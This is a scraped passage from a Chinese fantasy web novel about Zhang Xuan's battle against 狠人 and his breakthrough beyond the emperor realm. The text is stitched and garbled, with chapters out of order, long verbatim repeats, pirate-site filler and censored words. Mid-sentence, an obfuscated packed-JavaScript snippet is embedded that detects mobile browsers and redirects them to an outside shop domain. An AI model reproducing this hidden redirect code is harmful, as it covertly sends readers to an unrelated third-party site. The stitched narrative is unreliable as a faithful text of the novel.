“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546009|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第37章擒贼先擒王 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 